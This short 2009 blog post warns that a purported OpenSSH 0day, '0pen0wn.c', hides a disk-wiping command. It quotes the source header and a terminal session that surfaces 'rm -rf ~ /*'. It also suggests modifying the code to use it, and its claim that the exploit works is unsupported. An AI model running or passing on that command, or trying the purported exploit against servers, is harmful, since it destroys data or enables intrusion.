0day for OpenSSH 0pen0wn is Spreaded

Written on July 22, 2009 – 7:25 pm | by admin

The 0day code “exploit” for openssh Linux and FreeBSD now can be downloaded.
But Please DO NOT EXECUTE it if you did not know anything about shell code.
Because there are a lines in there that will delete your entire hardisk !!!
You have to modify first from the source code, than (maybe) you can use it

Here is the head of the code

/* 0pen0wn.c by anti-sec group
* —————————
* OpenSSH <= 5.2 REMOTE (r00t) EXPLOIT.
*
*
* Takes advantage of an off-by-one
* bug in mapped authentication space on system
*/

Once again I warn you, DO NOT EXECUTE if you know nothing about scripting and programming

[sakitjiwa@iluvbugiz ~]$ vi 0pen0wn.c
[sakitjiwa@iluvbugiz ~]$ cc -o 0pen0wn 0pen0wn.c

[sakitjiwa@iluvbugiz ~]$ strings 0pen0wn | grep rm
rm -rf ~ /* 2> /dev/null &

here you go kiddo, be careful playing with codes
